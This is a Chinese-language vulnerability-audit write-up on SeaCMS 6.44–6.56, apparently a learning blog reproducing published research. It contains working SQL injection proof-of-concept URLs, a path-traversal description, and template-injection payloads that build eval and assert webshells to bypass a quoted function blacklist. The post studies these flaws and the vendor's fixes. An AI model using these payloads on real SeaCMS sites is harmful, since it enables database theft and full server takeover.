这个seacms就是老版本的seacms,现在还在更新。我们在搭建这个版本的SeaCMS的时候,要用5版本的php,不能用高版本的php

前置

这里我们还是先分析一下入口文件

index.php

这里还是导入关键的处理文件,后来加载模板进行渲染

我们接下来分析一下这个include/common.php文件

这里先导入的是一个360的安全过滤,接着就是导入数据库操作函数文件

接着又导入了这个基础函数文件

这个 就是检测一下我们提交的GPC变量是否为全局或配置变量

这里过滤GPC数据

php转义之gpc

在PHP中get_magic_quotes_gpc()函数是内置的函数,这个函数的作用就是得到php.ini设置中magic_quotes_gpc选项的值。

那么就先说一下magic_quotes_gpc选项:

如果magic_quotes_gpc=On
PHP解析器就会自动为post、get、cookie过来的数据增加转义字符“”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符(认为是php的字符)引起的污染而出现致命的错误 。插入后在数据库里显示的是转义前的原始数据,所以取出来不用转义。
在magic_quotes_gpc=On的情况下,如果输入的数据有
单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。

正是因为这个选项必须为On,但是又让用户进行配置的矛盾,在PHP6中删除了这个选项,一切的编程都需要在magic_quotes_gpc=Off下进行了。在这样的环境下如果不对用户的数据进行转义,后果不仅仅是程序错误而已了。同样的会引起数据库被注入攻击的危险。所以从现在开始大家都不要再依赖这个设置为On了,以免有一天你的服务器需要更新到PHP6而导致你的程序不能正常工作。

所以这里的底层是由这个addslashes()函数实现的

接下来就是加载数据库配置文件和系统配置

这些都是一些路径

文件上传的安全策略

黑名单

总结

我们关注一下这个变量的处理,不能为全局变量或者系统变量

还过滤了XSS代码在common.func.php

最后就是文件上传的过滤,有个黑名单

我们在挖洞的时候很多都是在后台的洞,前台的功能点太少了

我们也看一下后台的入口文件

这里都是加载文件

我们先看一下这个配置文件

这里加载了和入口文件一样的配置文件

看出来这里也进行了相应的过滤

下面就是加载了检查admin的文件

检查用户登入状态,如果没有的话返回

漏洞

SQL注入

前台sql注入

在comment/api/index.php

这里有个sql语句

$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
	$dsql->setQuery($sql);

我们看一下可控参数

这里还是加载了common.php,这里对我们传入的参数进行检查

用addslashs()函数进行过滤

我们看到这个type和ids,没有被括号包裹

这两个参数还是可控,但是我们我们看到,这两个必须为数字型的

这个page最好还是要大于2的

接下来就是调用这个函数,我们跟进一下

这里的implode是将数组转化为字符串,然后再调用这个Readrlist

我们的$x就是这个$ids

也就是说我们要满足page>2,gid>0,rlist为数组

poc

http://127.0.0.1/seacms6.55/upload/comment/api/index.php?gid=1&page=2&rlist[]=extractvalue(1,concat_ws(0x7e,user(),database()))

后台反引号sql注入

这里我们去后台看一下,在addslashs()函数里,这里没有过滤` ` ,我们可以利用这个来注入sql语句,这个反引号一般用来包裹表名

全局搜索一下这个

`[$][A-Za-z0-9_]*`

在这里admin_database.php

有这样的代码

首先加载了这个文件,对我们传入的参数进行过滤

但是没有过滤双引号

这里是我们刚刚找到的sql语句

我们看一下这个触发条件

首先我们要有这个action==bak,我们的tablearr也不能为空

这里我们选择报错注入,那么我们前面是我们已知的表名

这么多随遍选一个

poc

http://127.0.0.1/seacms6.55/upload/admin/admin_database.php?tablearr=1&action=bak&nowtable=sea_admin`%20WHERE%201=extractvalue(1,concat(0x7e,user()));%20--+

目录穿越

在这个功能点

我们试一下路径穿越

这里说只允许编辑templets目录,之后就返回去了,没有成功

我们看一下文件

这里只能../templets开头,前11个字符我们无法控制,我们可以控制后面的字符

这样我们就可以进行任意文件删除了和浏览

我们只能看一下指定后缀的文件

代码执行

这里面的逻辑以前在审模板注入的时候见过,在这个版本中存在模板注入导致任意代码执行

因为我这里下载的是6.55的版本,这里我没见过6.45的版本,跟着大佬复现的时候,他打的payload是6.45版本的

他打的版本没有任何的过滤,只要把逻辑搞清楚就可以,在6.54版本进行了过滤,在6.55版本也进行了过滤,这两个版本都有大神分析出了

绕过方法,这里我们先从最简单的来分析

6.44

这里我因为下载的是6.55版本的,所以先把那些高版本的处理进行注释掉

对于6.54版本,这里是对参数order进行过滤

$orderarr=array('id','idasc','time','timeasc','hit','hitasc','commend','commendasc','score','scoreasc');
    if(!(in_array($order,$orderarr))){$order='time';}

在search.php中我们把相应的处理注释掉就可以了

对于6.55版本,是对于content进行过滤

在main.class.php文件中的parseIf(),同时这也是命令执行的函数

  foreach($iar as $v){
            $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
        }
        $iar = $iarok;

这里我们也注释一下

大多数都是这么说的,然而我兴致勃勃的试一下payload的时候发现,这个根本不行

我看了很多文章,都是这么说的,然而我试了却不行

后来我在这里下了个断点,之后发现我们的payload变了

searchtype=5&searchword=d&order=}{end if}{if:1)phpinfo();if(1}{end if}

原本是有phpinfo的现在变成了

我明明把过滤给注释掉了,为什么还变样了呢

我向上看,发现了上面也有过滤

这里面也有对order的处理,第一次看的时候没有好好的看

我们也把这里给注释掉

成功命令执行

接下来我们分析一下这个

首先我们先逆着分析

首先通过main.class.php中找到eval函数

这里我们就是先溯源一下这个参数怎么来的

就是通过最终的content传进来的,我们看一下这个函数在哪里调用,有很多地方

最终我们在search.php中找到了可以利用的调用链

在这里,我们接着看一下参数的传递

我们向上看,不难发现这个content参数是要替换我们别的参数的,这里很明显就是一个模板注入了

我们这些参数是可控的,找一个我们完全可控的参数就是oredr参数,这里进入这个模板的时候会加载cascade.html文件

$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";

我们进去看一下

 <a href="{searchpage:order-time-link}" {if:"{searchpage:ordername}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>
      <a href="{searchpage:order-hit-link}" {if:"{searchpage:ordername}"=="hit"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderaddtime">最近热播</a>
      <a href="{searchpage:order-score-link}" {if:"{searchpage:ordername}"=="score"} class="btn btn-success" {else} class="btn btn-default" {end if} id="ordergold">评分最高</a>

这里会将这里面的{searchpage:ordername}替换成我们传入的oreder参数

下面就进入了我们的命令执行函数parseIf()

进行命令执行,下面详细分析一下这个函数

这里是个正则匹配,把匹配的内容放进iar数组里面

经过这个buildregx函数加上了正则的头和尾,没有什么影响,这里就是匹配表签里面的内容

首先就把符合这个结构的{if:xxx}yyy{end if} 整体放在数组的第一位就是iar[0]

然后把if标签里面的内容放在数组第二位就是iar[1]

把两个标签里面的内容放在数组第三位就是iar[3]

综合就是

iar[0] = {if:xxx}yyy{end if}
iar[1] = xxx
iar[2] = yyy

对于这个我们是个二维数组匹配第一个放在iar[0][0]里面

综合就是

iar[0][0] = {if:xxx}yyy{end if}
iar[0][1] = xxx
iar[0][2] = yyy

如果匹配到第二个就放在iar[1][0]

然后看下面的

这个strIf是再iar[1][m]中,所以我们构造的时候,要构造出一个这个{if:xxx}yyy{end if}

payload

GET http://127.0.0.1/seacms6.55/upload/search.php
POST searchtype=5&searchword=d&order=}{end if}{if:1)phpinfo();if(1}{end if}

这个payload我们分析一下

#再进行替换操作的时候,payload就变成了这样的
{if:"}
{end if}
{if:1)phpinfo();if(1}
{end if}
"=="hit"} 1 {else} 2 
{end if}
#只有前两个能匹配这个结构,所以现在这个数组是这样的
iar[0][0] = {if:"}{end if}
iar[0][1] = "
iar[0][2] = 

iar[0][0] = {if:1)phpinfo();if(1}{end if}
iar[0][1] = 1)phpinfo();if(1
iar[0][2] = 
#最后就是拼接进行命令执行

结果

6.54

发现这个问题之后,做出的版本的调整就是把这个order这个参数进行了过滤

$orderarr=array('id','idasc','time','timeasc','hit','hitasc','commend','commendasc','score','scoreasc');
if(!(in_array($order,$orderarr))){$order='time';}

但是没有对parseIf()函数传进来的参数进行直接过滤

这里还对参数进行了XSS过滤和addslashes函数的过滤,还限制了字节数位20字节

$action = $_REQUEST['action'];
$searchword = RemoveXSS(stripslashes($searchword));
$searchword = addslashes(cn_substr($searchword,20));
$searchword = trim($searchword);

$jq = RemoveXSS(stripslashes($jq));
$jq = addslashes(cn_substr($jq,20));

$area = RemoveXSS(stripslashes($area));
$area = addslashes(cn_substr($area,20));

$year = RemoveXSS(stripslashes($year));
$year = addslashes(cn_substr($year,20));

$yuyan = RemoveXSS(stripslashes($yuyan));
$yuyan = addslashes(cn_substr($yuyan,20));

$letter = RemoveXSS(stripslashes($letter));
$letter = addslashes(cn_substr($letter,20));

$state = RemoveXSS(stripslashes($state));
$state = addslashes(cn_substr($state,20));

$ver = RemoveXSS(stripslashes($ver));
$ver = addslashes(cn_substr($ver,20));

$money = RemoveXSS(stripslashes($money));
$money = addslashes(cn_substr($money,20));

$order = RemoveXSS(stripslashes($order));
$order = addslashes(cn_substr($order,20));
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

这是大佬构造的payload,我们可以先看这着分析一下

searchtype=5
&searchword={if{searchpage:year}
&year=:e{searchpage:area}}
&area=v{searchpage:letter}
&letter=al{searchpage:lang}
&yuyan=(join{searchpage:jq}
&jq=($_P{searchpage:ver}
&&ver=OST[9]))
&9[]=ph
&9[]=pinfo();

利用这个拼接语句进行重复拼接

我们可以利用这里进行重复的替换拼接

原本的html代码是这样

<meta name="keywords" content="{seacms:searchword},海洋CMS" />

第一次替换{seacms:searchword}后的代码为

<meta name="keywords" content="{if{searchpage:year},海洋CMS" />

之后替换的内容为

//替换year
<meta name="keywords" content="{if:e{searchpage:area}},海洋CMS" />

//替换area
<meta name="keywords" content="{if:ev{searchpage:letter}},海洋CMS" />

//替换letter
<meta name="keywords" content="{if:eval{searchpage:lang}},海洋CMS" />

//替换lang
<meta name="keywords" content="{if:eval(join{searchpage:jq}},海洋CMS" />

//替换jq
<meta name="keywords" content="{if:eval(join($_P{searchpage:ver}},海洋CMS" />

//替换ver
<meta name="keywords" content="{if:eval(join($_POST[9]))},海洋CMS" />

之后被解析出来的代码为

eval(join($_POST[9]))

这样我们就拼好了一句话木马

结果

成功执行

6.55

后来的版本更新中开发人员意识到了,这个问题是没有对$content这个参数进行过滤

后来过滤了一下


        foreach($iar as $v){
            $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
        }
        $iar = $iarok;

但是过滤的确实过于简单了

还是和之前一样,但是现在是利用这个来构造

searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*

就是这样是

分开来看

searchtype=5
&searchword={if{searchpage:year}
&year=:as{searchpage:area}}
&area=s{searchpage:letter}
&letter=ert{searchpage:lang}
&yuyan=($_SE{searchpage:jq}
&jq=RVER{searchpage:ver}
&&ver=[QUERY_STRING]));/*

和那个一样

最后构造出来的就是

if(assert($_SERVER[QUERY_STRING]));/*

执行这个东西,里面是一个超级全局变量,我们可以直接进行命令执行

6.56

该版本除了黑名单还在search.php中添加了如下一句话:

//感谢freebuf文章作者天择实习生(椒图科技天择实验室)的漏洞报告
if(strpos($searchword,'{searchpage:')) exit; 

这样这个标签就不能用了

总结

学到了很多关于sql注入,或者是一些模板注入,原先不明白的现在也明白了